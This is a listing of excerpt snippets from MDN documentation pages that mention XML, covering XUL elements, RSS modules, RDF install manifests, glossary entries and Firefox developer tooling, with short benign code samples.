dialogheader - Archive of obsolete content
attributes crop, description, title examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <dialogheader title="my dialog" description="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by th...
preference - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </...
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <...
titlebar - Archive of obsolete content
<?xml version="1.0"?> <window title="movable hud window" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shad...
toolbox - Archive of obsolete content
properties accessible, customtoolbarcount, externaltoolbars, palette, toolbarset methods appendcustomtoolbar, collapsetoolbar, expandtoolbar examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="toolbox example" width="300"> <toolbox> <toolbar> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> <toolbarbutton label="home"/> </toolbar> <toolbar> <toolbarbutton l...
tree - Archive of obsolete content
ArchiveMozillaXULtree
xul for the tree: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="file://c:/main.css" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <row><button label="getrowvalues" oncommand="getrowcellvalues();"/></row> <tree flex="1" editable="true" id="mytree"> <treecols> <treecol label="active" type="checkbox" e...
treecol - Archive of obsolete content
sort type: uri or xml attribute set this to a rdf property or xml attribute to have the data in the column sorted based on that property.
wizard - Archive of obsolete content
attributes firstpage, lastpage, pagestep, title, windowtype properties canadvance, canrewind, currentpage, onfirstpage, onlastpage, pagecount, pageindex, pagestep, title, wizardpages methods advance, cancel, extra1, extra2, getbutton, getpagebyid, goto, rewind examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="thewizard" title="secret code wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function checkcode(){ document.getelementbyid('thewizard').canadvance = (document.getelementbyid('secretcode').value == "cabbage"); } </script> <wizardpage onpageshow="ch...
XUL - Archive of obsolete content
xul (xml user interface language) is mozilla's xml-based language for building user interfaces of applications like firefox.
CommandLine - Archive of obsolete content
verservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(window.arguments[0], "commandline-args-changed", null); addeventlistener("unload", observer.unregister, false); finally, add a reference in your application window to the observer: chrome/content/window.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="main" title="&window.title;" windowtype="xulmine" style="width: 300px; height: 350px;" persist="screenx screeny width height sizemode"> <script type="application/javascript" src="cmdline.js" /> ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
you can make this jar.mn to rule them all just by concatenating the three files in the mccoy example and updating the path to each file (since you will need to point to the correct subdirectory): mccoy.jar: % content mccoy %content/ * content/mccoy.xul (content/mccoy.xul) content/mccoy.js (content/mccoy.js) * content/mccoy.xml (content/mccoy.xml) ...etc...
Custom app bundles for Mac OS X - Archive of obsolete content
a xul application for mac os x should follow something similar to this basic directory structure: example.app/ contents/ info.plist (application bundle properties are specified in this xml file.) pkginfo (this is a simple text file and is created along with the info.plist file) macos/ (the macos folder will contain your xulrunner executable) xulrunner (this is the xulrunner stub) resources/ (this is where you place your xul application code and support files) application.ini (xulrunner-related application settings) ...
Deploying XULRunner - Archive of obsolete content
here's a sample one: <?xml version="1.0" encoding="utf-8"?> <!doctype plist public "-//apple computer//dtd plist 1.0//en" "http://www.apple.com/dtds/propertylist-1.0.dtd"> <plist version="1.0"> <dict> <key>cfbundledevelopmentregion</key> <string>english</string> <key>cfbundleexecutable</key> <string>xulrunner</string> <key>cfbundlegetinfostring</key> <string>1.0</string> <key>cfbundleiconfile</key> <string>app_icon...
Dialogs in XULRunner - Archive of obsolete content
here is an example xul dialog: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog id="mydialog" title="my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favorite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" bu...
MacFAQ - Archive of obsolete content
l, and this is called when an xulrunner app is already running, so: create a default preference of "browser.chromeurl" that points to your new "hiddenwindow" as such: "chrome://myxul/content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow.xul (note: the debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <script type="application/javascript" src="chrome://global/content/nsusersettings.js" /> <script><![cdata[ ...
XULRunner tips - Archive of obsolete content
troubleshooting window title missing if the title of your xul <window> is blank, even though you specified a title attribute, make sure the extension on your xul file is .xul rather than .xml default theme to create a default theme you need to create a folder in the extensions folder with an install.rdf in it.
What XULRunner Provides - Archive of obsolete content
the following features are either already implemented or planned: gecko features xpcom networking gecko rendering engine dom editing and transaction support (no ui) cryptography xbl (xbl2 planned) xul svg xslt xml extras (xmlhttprequest, domparser, etc.) web services (soap) auto-update support (not yet complete) type ahead find toolbar history implementation (the places implementation in the 1.9 cycle) accessibility support ipc services for communication between gecko-based apps (not yet complete) storage/sqlite interfaces user interface features the following user interface is supplied by xu...
Mozilla release FAQ - Archive of obsolete content
mozilla has (at least) the following new features: xml support a highly configurable appearance (courtesy of xul) publicly available source code :) http compression exists on more platforms mathml support (somewhat limited at the moment) a significantly faster rendering engine better html support (css 1 and partial css 2, dom 1 and partial dom 2) plug-in jvm support tabbed browsing message filtering an irc client why is the ani...
2006-11-03 - Archive of obsolete content
xml in firefox is a major problem a user draws attention to what they think is a bug, but the developers say it's proper browser behaviour.
2006-12-01 - Archive of obsolete content
xml in firefox is a major problem a major debate surrounding the use of xml for customizing rss feeds.
2006-11-17 - Archive of obsolete content
nickolay ponomarev lets us know that processing instructions are now added to xul document's dom this also means, you can no longer use document.firstchild in xul scripts to get the root element of a xul document and the xml-stylesheet and xul-overlay processing instructions outside the prolog no longer have any effect peter.sei...@gmail.com runs into some difficulties deploying xulrunner 1.8 on os x?
2006-10-27 - Archive of obsolete content
discussions evalinsandbox and xmlhttprequest a discussion about writing something that calls a function defined by the page that the user is currently on chrome files and last modified date ways to retrieve the last modified date of a chrome file that may be in a jar or on the file system.
2006-11-10 - Archive of obsolete content
discussions developing an extension like xmlhttprequest / nsidocument / mozilla_internal_api a discussion on how to develop an extension similar to xmlhttprequest but for a different protocol than http, emulating the asynchronous aspect.
2006-11-24 - Archive of obsolete content
scussions tutorials: non c++ bindings for xpcom tutorials on how to interface with firefox using xpcom on a similar basis to how a developer can with internet explorer through it's com interface tutorals and references related to extension development tutorials on developing extensions which use the third party libraries for firefox references to mozilla api exposed javascript component + xmldocument not accessible a discussion on error: uncaught exception: permission denied to get property xmldocument.textcontent creating xpcom components a good discussion about "components.classes[cid] has no properties" error firefox http explanation about how firefox handles the http aspect meetings none during this week.
2006-12-08 - Archive of obsolete content
saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a url in an extension implemented in javascript meetings none during this week.
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
for a plugin the manifest only needs to be very simple: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>mypluginid@myplugin.com</em:id> <em:name>my plugin</em:name> <em:version>1.0</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:m...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city...
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
an example using the most popular element of the well-formed web rss module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:wfw="http://wellformedweb.org/commentapi/" > <channel> <title>example</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like root beer</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54321</guid> ...
Getting Started - Archive of obsolete content
this tutorial assumes that you have some experience with html (or xml) and that you are comfortable with the basics ofmarkup .
Atomic RSS - Archive of obsolete content
ArchiveRSSModuleAtom
references atomic rss element list examples none available at this time community none available at this time tools none available at this time other resources tim bray's atom rss article rss, atom, rdf, xml ...
Content - Archive of obsolete content
references rss content module element list examples none available at this time community none available at this time tools none available at this time other resources rss content module spec rss, rdf, xml ...
Slash - Archive of obsolete content
ArchiveRSSModuleSlash
references rss slash module element list examples none available at this time community none available at this time tools none available at this time other resources rss slash module slash slashdot rss, rdf, xml ...
Well-Formed Web - Archive of obsolete content
references rss well-formed web module element list examples none available at this time community none available at this time tools none available at this time other resources well-formed web spec rss, rdf, xml ...
Module - Archive of obsolete content
rss module list rss modules are microformats injected into an rss document through the use of xml namespaces.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
examples rss 0.90 looked something like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </channel> <image> <title>mozilla<...
title - Archive of obsolete content
netscape rss 0.91 revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> ...
Sunbird Theme Tutorial - Archive of obsolete content
copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepageurl="http://developer.mozilla.org/" em:version="0.1" em:in...
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_...
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions.
Theme changes in Firefox 2 - Archive of obsolete content
global/globalbindings.xml updated to support changes to the tab bar, including per-tab close buttons.
Theme changes in Firefox 3.5 - Archive of obsolete content
affected files details scrollbar.xml, xulscrollbars.css the <gripper> element was removed from the scrollbar thumb button by bug 448704.
Summary of Changes - Archive of obsolete content
http://www.w3.org/tr/2004/rec-dom-le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or recommended replacement ...
Using Web Standards in your Web Pages - Archive of obsolete content
contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest summary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: portions of this content are © 1998–2008 by individual mozilla.org contributors; content available under a creative commons license | details.
New in JavaScript - Archive of obsolete content
includes ecmascript for xml (e4x), new array methods plus string and array generics.
Standards-Compliant Authoring Tools - Archive of obsolete content
html-kit is a full-featured, low priced editor designed to help html, xhtml and xml authors to edit, format, lookup help, validate, preview and publish web pages.
Reference - Archive of obsolete content
<hr> xmlhttprequest xmlhttprequest is a host object provided by the browser, not part of js core language.
XForms Alert Element - Archive of obsolete content
examples <xforms:model> <xforms:instance> <data xmlns=""> <x>10</x> </data> </xforms:instance> <xforms:bind id="x" nodeset="x" type="xsd:integer"/> </xforms:model> <style> @namespace xforms url("http://www.w3.org/2002/xforms"); xforms|input:invalid xforms|alert.inline { display: inline; font-style: italic; width: 40%; } } </style> <xforms:input bind="x"> <xforms:label>you can type only numbers (validation happens on blur): <...
XForms Message Element - Archive of obsolete content
introduction used in combination with xml event listeners to display a message to the user when the specified event occurs (see the spec).
XForms Select Element - Archive of obsolete content
characteristics appearance attribute contains the value full there are no analogue widgets in xhtml or in xul visual grouping by choices element is supported if incremental attribute value is false then bound node is updated when item is blurred examples <xf:model> <xf:instance> <data xmlns=""> <values>g</values> </data> </xf:instance> </xf:model> <xf:select ref="/data/values" appearance="full"> <xf:choices> <xf:label>green colors</xf:label> <xf:item> <xf:label>pale green</xf:label> <xf:value>pg</xf:value> </xf:item> <xf:item> <xf:label>green</xf:label> <xf:value>g</xf:value> </xf:item> </xf:choices> <xf:choices> <...
XForms Select1 Element - Archive of obsolete content
characteristics appearance attribute contains the value full there are no analogue widgets in xhtml or in xul visual grouping by choices element is supported selection="open" attribute isn't supported if incremental attribute value is false then bound node is updated when item is blurred examples <xf:model> <xf:instance> <data xmlns=""> <values>g</values> </data> </xf:instance> </xf:model> <xf:select1 ref="/data/values"> <xf:choices> <xf:label>green colors</xf:label> <xf:item> <xf:label>pale green</xf:label> <xf:value>pg</xf:value> </xf:item> <xf:item> <xf:label>green</xf:label> <xf:value>g</xf:value> </xf:item> </xf:choices> <xf:choices> <xf:label>red colo...
XForms Switch Module - Archive of obsolete content
a toggle can be designated as an event handler using xml events or may also be contained in an action element.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
within the web environment, the accessibility standards are closely tied to html, xml, xhtml, and other w3c standards.
RDF in Fifty Words or Less - Archive of obsolete content
the cgi script actually generatesserialized rdf, which is basically just a way of formatting a graph into xml: <rdf:rdf xmlns:rdf="http://www.w3.org/tr/wd-rdf-syntax#" xmlns:sm="http://www.mozilla.org/smart-mail/schema#"> <rdf:description about="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&folder=inbox"> <sm:message id="4025293"> <sm:recipient> chris waterson "waterson@netscape.com" </sm:recipient> <sm:sender> aunt helga...
Web Standards - Archive of obsolete content
gecko demos css zen garden eric meyers's css/edge w3c dom demos related topics css, dhtml, html, web development, xhtml, xml the web standards project ...
Introduction to game development for the Web - Game development
xmlhttprequest and file api the combination of xmlhttprequest and the file api lets you send and receive any kind of data you want (don't let the "xml" throw you!) from a web server.
Audio for Web games - Game development
loading your tracks with the web audio api you can load separate tracks and loops individually using xmlhttprequest or the fetch api, which means you can load them synchronously or in parallel.
Visual JS GE - Game development
ml_sys.exe — multilanguage tool for string labels (smart xml operation; no empty tags).
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
for example, the ajax (asynchronous javascript and xml) programming technique—now usually simply "ajax", even though json is usually used rather than xml in modern applications—is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately.
Attribute - MDN Web Docs Glossary: Definitions of Web-related terms
that is a shorthand for providing the empty string in html, or the attribute’s name in xml.
Base64 - MDN Web Docs Glossary: Definitions of Web-related terms
base64 is commonly used in a number of applications including email via mime, and storing complex data in xml.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
css usually styles html elements, but can be also used with other markup languages like svg or xml.
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
the dom (document object model) is an api that represents and interacts with any html or xml document.
Element - MDN Web Docs Glossary: Definitions of Web-related terms
in xml and html, an element may contain a data item or a chunk of text or an image, or perhaps nothing.
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
names starting with `sec-` are reserved for creating new headers safe from apis using fetch that grant developers control over headers, such as xmlhttprequest.
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
much like xml, json has the ability to store hierarchical data unlike the more traditional csv format.
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
however, these days, more of the logic is pushed to the client with the advent of client-side data stores, and xmlhttprequest allowing partial page updates as required.
MathML - MDN Web Docs Glossary: Definitions of Web-related terms
mathml (an xml application) is an open standard for representing mathematical expressions in webpages.
Quality values - MDN Web Docs Glossary: Definitions of Web-related terms
examples the following syntax text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 indicates the order of priority: value priority text/html and application/xhtml+xml 1.0 application/xml 0.9 */* 0.8 if there is no priority defined for the first two values, the order in the list is irrelevant.
RSS - MDN Web Docs Glossary: Definitions of Web-related terms
rss (really simple syndication) refers to several xml document formats designed for publishing site updates.
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
a few request headers after a get request: get /home.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/testpage.html connection: keep-alive upgrade-insecure-requests: 1 if-modified-since: mon, 18 jul 2016 02:36:04 gmt if-none-match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a" cache-control: max-age=0 strictly speaking, the content-length header in this example i...
SGML - MDN Web Docs Glossary: Definitions of Web-related terms
on the web, html 4, xhtml, and xml are popular sgml-based languages.
SOAP - MDN Web Docs Glossary: Definitions of Web-related terms
soap (simple object access protocol) is a protocol for transmitting data in xml format.
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown.
Synchronous - MDN Web Docs Glossary: Definitions of Web-related terms
learn more technical reference asynchronous synchronous and asynchronous requests using the xmlhttprequest() api ...
URN - MDN Web Docs Glossary: Definitions of Web-related terms
this example comes from rfc3986: urn:oasis:names:specification:docbook:dtd:xml:4.1.2 learn more general knowledge urn on wikipedia ...
Validator - MDN Web Docs Glossary: Definitions of Web-related terms
validators can be created for any format or language, but in our context we speak of tools that check html, css, and xml.
XForms - MDN Web Docs Glossary: Definitions of Web-related terms
xforms is a convention for building web forms and processing form data in the xml format.
XHTML - MDN Web Docs Glossary: Definitions of Web-related terms
xhtml is a term that was historically used to describe html documents written to conform with xml syntax rules.
XPath - MDN Web Docs Glossary: Definitions of Web-related terms
xpath is a query language that can access sections and content in an xml document.
XQuery - MDN Web Docs Glossary: Definitions of Web-related terms
xquery is a computer language for updating, retrieving, and calculating data in xml databases.
MDN Web Docs Glossary: Definitions of Web-related terms
wai wcag web performance web server web standards webassembly webdav webextensions webgl webidl webkit webm webp webrtc websockets webvtt whatwg whitespace world wide web wrapper x xforms xhr (xmlhttprequest) xhtml xinclude xlink xml xpath xquery xslt other 404 502 alpn at-rule attack byte-order mark character set client cryptosystem debug digital signature execution flex-direction ...
Practical positioning examples - Learn web development
note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascript feature such as xmlhttprequest.
What is CSS? - Learn web development
a document is usually a text file structured using a markup language — html is the most common markup language, but you may also come across other markup languages such as svg or xml.
Getting started with HTML - Learn web development
to find more about entity reference, see list of xml and html character entity references (wikipedia).
What’s in the head? Metadata in HTML - Learn web development
you can find more about them in language tags in html and xml.
Responsive images - Learn web development
you can supply mime types inside type attributes so the browser can immediately reject unsupported file types: <picture> <source type="image/svg+xml" srcset="pyramid.svg"> <source type="image/webp" srcset="pyramid.webp"> <img src="pyramid.png" alt="regular pyramid built from four equilateral triangles"> </picture> do not use the media attribute, unless you also need art direction.
Choosing the right approach - Learn web development
single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = object...
Manipulating documents - Learn web development
root node: the top node in the tree, which in the case of html is always the html node (other markup vocabularies like svg and custom xml will have different root elements).
Client-side web APIs - Learn web development
in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api.
Introduction to the server side - Learn web development
it is also possible to simply return data (json, xml, etc.) for rendering by appropriate client-side web frameworks (this reduces the processing burden on the server and the amount of data that needs to be sent).
Framework main features - Learn web development
jsx jsx, which stands for javascript and xml, is an extension of javascript that brings html-like syntax to a javascript environment.
Getting started with React - Learn web development
react uses an html-in-javascript syntax called jsx (javascript and xml).
Working with Svelte stores - Learn web development
> visible = false, ms) // and hide it after ms milliseconds } } $: onmessagechange($alert, ms) // whenever the alert store or the ms props changes run onmessagechange ondestroy(()=> cleartimeout(timeout)) // make sure we clean-up the timeout </script> and update the alert.svelte markup section like so: {#if visible} <div on:click={() => visible = false}> <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 20 20"><path d="m12.432 0c1.34 0 2.01.912 2.01 1.957 0 1.305-1.164 2.512-2.679 2.512-1.269 0-2.009-.75-1.974-1.99c9.789 1.436 10.67 0 12.432 0zm8.309 20c-1.058 0-1.833-.652-1.093-3.524l1.214-5.092c.211-.814.246-1.141 0-1.141-.317 0-1.689.562-2.502 1.117l-.528-.88c2.572-2.186 5.531-3.467 6.801-3.467 1.057 0 1.233 1.273.705 3.23l-1.391 5.352c-.246.945-.14...
Handling common accessibility problems - Learn web development
if you have a single-page app with a main content panel that is regularly updated using xmlhttprequest or fetch, a screenreader user might miss those updates.
Accessibility API cross-reference
aria is a standard developed as part of the web accessibility initiative, which uses markup syntax quite familiar to users of html, xml, sgml and others.
Mozilla’s UAAG evaluation report
out-of-process access is needed for it to be truly useful for assistive technology we do support some com interfaces called isimpledomnode, which has a large portion of useful dom read access 6.3 programmatic access to non-html/xml content.
Creating a spell check dictionary add-on
<?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>locale-code@dictionaries.addons.mozilla.org</em:id> <em:version>version number</em:version> <em:type>64</em:type> <em:unpack>true</em:unpack> <em:name>name</em:name> <!-- ot...
Debugging update problems
that url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request this url manually to see what's inside.
The Firefox codebase: CSS Guidelines
when importing your stylesheets, it's best to import the content css before the theme css, that way the theme values get to override the content values (which is probably what you want), and you're going to want them both after the global values, so your imports will look like this: <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <?xml-stylesheet href="chrome://browser/content/path/module.css" type="text/css"?> <?xml-stylesheet href="chrome://browser/skin/path/module.css" type="text/css"?> [1] -moz-appearance is tricky.
ESLint
understanding rules and errors not all files are linted currently eslint runs on: .js .jsx .jsm .xml .html .xhtml additionally, some directories and files are ignored, see the .eslintignore file handling errors if your code fails an eslint rule, you'll get an error similar to this: /gecko/toolkit/mozapps/installer/js-compare-ast.js 18:39 error 'snarf' is not defined.
mozbrowseropensearch
when an instance of <link rel="search" type="application/opensearchdescription+xml"> is encountered.
Http.jsm
http.jsm http.jsm provides httprequest - a wrapper for xmlhttprequest that provides convenient and simplified api for dealing with http requests.
Following the Android Toasts Tutorial from a JNI Perspective
we find an xml file showing the sig for geckoappshell is org.mozilla.gecko.geckoappshell.
WebRequest.jsm
the following types are supported: "main_frame" "sub_frame" "stylesheet" "script" "image" "object" "xmlhttprequest" http headers https headers are represented as objects with two properties, name and value: name type description name string header name, for example "content-type" value string header value, for example "image/png" chrome incompatibilities although this api is modeled on chrome's webrequest extension api, there are som...
source-editor.jsm
sourceeditor.modes.xml "xml" xml document.
JavaScript code modules
http.jsm a wrapper for xmlhttprequest that provides convenient and simplified api for dealing with http requests.
Localizing extension descriptions
the following example demonstrates this (most normal manifest properties have been removed for brevity): <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sidebar vorschaub...
Localizing with Koala
dtd's files are read by the xml parser, which goes through the xul files used in mozilla to create the interface when it launches.
Localization technical reviews
for this initial review, all xml files should be removed.
Fonts for Mozilla's MathML engine
typically, use a fontconfig configuration /etc/fonts/conf.avail/09-texlive-fonts.conf that points to the opentype directory of texlive, such as: <?xml version="1.0"?> <!doctype fontconfig system "fonts.dtd"> <fontconfig> <dir>/your/path/to/texmf-dist/fonts/opentype</dir> </fontconfig> finally, add this configuration file to the system font location list and regenerate the fontconfig cache: ln -sf /etc/fonts/conf.avail/09-texlive-fonts.conf /etc/fonts/conf.d/ fc-cache -sf android you must use the mathml-fonts add-on.
Updates
mozilla 1.0 features full support for html 4.0, xml 1.0, resource description framework (rdf), cascading style sheets level 1 (css1), and the w3c document object model level 1 (dom1) [...] as well as support for display of mathematical equations using mathml." december 7, 2001 status report october 2000 the first international mathml conference april 14, 2000 status report february 12, 2000 mathml-enabled m13 builds for win32 september 21...
DMD
lement*, nsidocument*, bool, bool,mozilla::dom::element**) (/home/njn/moz/mi5/dom/xul/nsxulelement.cpp:287) #06: nsxblcontentsink::createelement(char16_t const**, unsigned int, mozilla::dom::nodeinfo*, unsigned int, nsicontent**, bool*, mozilla::dom::fromparser) (/home/njn/moz/mi5/dom/xbl/nsxblcontentsink.cpp:874) #07: nscomptr<nsicontent>::startassignment() (/home/njn/moz/mi5/go64dmd/dom/xml/../../dist/include/nscomptr.h:753) #08: nsxmlcontentsink::handlestartelement(char16_t const*, char16_t const**, unsigned int, unsigned int, bool) (/home/njn/moz/mi5/dom/xml/nsxmlcontentsink.cpp:1007) } } it tells you that there were 150 heap blocks that were allocated from the program point indicated by the "allocated at" stack trace, that these blocks took up 21,600 bytes, that all 150 bl...
TimerFirings logging
-991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created.
nglayout.debug.disable_xul_cache
the effect is that the source xml file is not read and re-parsed each time the chrome in question is displayed.
Preference reference
the effect is that the source xml file is not read and re-parsed each time the chrome in question is displayed.
Preferences system
